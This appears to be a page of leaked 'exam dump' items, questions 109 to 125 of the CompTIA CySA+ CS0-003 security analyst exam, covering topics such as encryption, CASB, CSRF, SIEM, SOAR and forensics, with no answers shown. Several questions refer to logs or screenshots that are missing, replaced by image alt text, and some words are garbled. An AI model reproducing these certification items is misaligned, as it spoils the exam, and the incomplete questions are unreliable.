109. An organization announces that all employees will need to work remotely for an extended period of time. All employees will be provided with a laptop and supported hardware to facilitate this requirement. The organization asks the information security division to reduce the risk during this time.

Which of the following is a technical control that will reduce the risk of data loss if a laptop is lost or stolen?

Requiring the use of the corporate VPN

Requiring the screen to be locked after five minutes of inactivity

Requiring the laptop to be locked in a cabinet when not in use

Requiring full disk encryption

110. The management team has asked a senior security engineer to explore DLP security solutions for the company's growing use of cloud-based storage.

Which of the following is an appropriate solution to control the sensitive data that is being stored in the cloud?

NAC

IPS

CASB

WAF

Page 12 of 13

111. Which of the following is the BEST option to protect a web application against CSRF attacks?

Update the web application to the latest version.

Set a server-side rate limit for CSRF token generation.

Avoid the transmission of CSRF tokens using cookies.

Configure the web application to only use HTTPS and TLS 1.3.

112. Which of the following is the greatest security concern regarding ICS?

The involved systems are generally hard to identify.

The systems are configured for automatic updates, leading to device failure.

The systems are oftentimes air gapped, leading to fileless malware attacks.

Issues on the systems cannot be reversed without rebuilding the systems.

113. While reviewing system logs, a network administrator discovers the following entry:

Which of the following occurred?

An attempt was made to access a remote workstation.

The PsExec services failed to execute.

A remote shell failed to open.

A user was trying to download a password file from a remote system.

114. A security analyst is analyzing the following output from the Spider tab of OWASP ZAP after a vulnerability scan was completed:

图片包含文本

描述已自动生成

Which of the following options can the analyst conclude based on the provided output?

The scanning vendor used robots to make the scanning job faster

The scanning job was successfully completed, and no vulnerabilities were detected

The scanning job did not successfully complete due to an out of scope error

The scanner executed a crawl process to discover pages to be assessed

115. An organization implemented an extensive firewall access-control blocklist to prevent internal network ranges from communicating with a list of IP addresses of known command-and-control domains A security analyst wants to reduce the load on the firewall.

Which of the following can the analyst implement to achieve similar protection and reduce the load on the firewall?

A DLP system

DNS sinkholing

IP address allow list

An inline IDS

116. Which of the following describes the difference between intentional and unintentional insider threats?

Their access levels will be different

The risk factor will be the same

Their behavior will be different

The rate of occurrence will be the same

117. A security analyst needs to automate the incident response process for malware infections.

When the following logs are generated, an alert email should automatically be sent within 30 minutes:

文本

描述已自动生成

Which of the following is the best way for the analyst to automate alert generation?

Deploy a signature-based IDS

Install a UEBA-capable antivirus

Implement email protection with SPF

Create a custom rule on a SIEM

118. An organization wants to consolidate a number of security technologies throughout the organization and standardize a workflow for identifying security issues prioritizing the severity and automating a response

Which of the following would best meet the organization's needs?

MaaS

SIEM

SOAR

CI/CD

119. A new prototype for a company's flagship product was leaked on the internet As a result, the management team has locked out all USB drives Optical drive writers are not present on company computers The sales team has been granted an exception to share sales presentation files with third parties

Which of the following would allow the IT team to determine which devices are USB enabled?

Asset tagging

Device encryption

Data loss prevention

SIEMIogs

120. A forensic analyst is conducting an investigation on a compromised server

Which of the following should the analyst do first to preserve evidence''

Restore damaged data from the backup media

Create a system timeline

Monitor user access to compromised systems

Back up all log files and audit trails

Page 13 of 13

121. A cybersecurity analyst is researching operational data to develop a script that will detect the presence of a threat on corporate assets.

Which of the following contains the most useful information to produce this script?

API documentation

Protocol analysis captures

MITRE ATT&CK reports

OpenloC files

122. A security analyst is reviewing the network security monitoring logs listed below:

文本

描述已自动生成

Which of the following is the analyst most likely observing? (Select two).

10.1.1.128 sent potential malicious traffic to the web server.

10.1.1.128 sent malicious requests, and the alert is a false positive

10.1.1.129 successfully exploited a vulnerability on the web server

10.1.1.129 sent potential malicious requests to the web server

10.1.1.129 can determine mat port 443 is being used

10.1.1.130 can potentially obtain information about the PHP version

123. Which of the following lines from this output most likely indicates that attackers could quickly use brute force and determine the negotiated secret session key?

文本

描述已自动生成

TLS_RSA_WITH_DES_CBC_SHA 56

TLS_DHE_RSA_WITH_AES_128_CBC_SHA 128 DH (1024 bits)

TLS_RSA_WITH_AES_256_CBC_SHA 256

TLS_DHE_RSA_WITH_AES_256_GCM_SHA256 DH (2048 bits)

124. A risk assessment concludes that the perimeter network has the highest potential for compromise by

an attacker, and it is labeled as a critical risk environment.

Which of the following is a valid compensating control to reduce the volume of valuable information in the perimeter network that an attacker could gain using active reconnaissance techniques?

A control that demonstrates that all systems authenticate using the approved authentication method

A control that demonstrates that access to a system is only allowed by using SSH

A control that demonstrates that firewall rules are peer reviewed for accuracy and approved before deployment

A control that demonstrates that the network security policy is reviewed and updated yearly

125. An analyst received an alert regarding an application spawning a suspicious command shell process Upon further investigation, the analyst observes the following registry change occurring immediately after the suspicious event:

Which of the following was the suspicious event able to accomplish?

Impair defenses.

Establish persistence.

Bypass file access controls.

Implement beaconing.

CS0-003 CompTIA CySA+ Exam Dumps Questions

CS0-003 CompTIA CySA+ Exam Dumps Questions

Share this post

Leave a Reply Cancel reply

Related Posts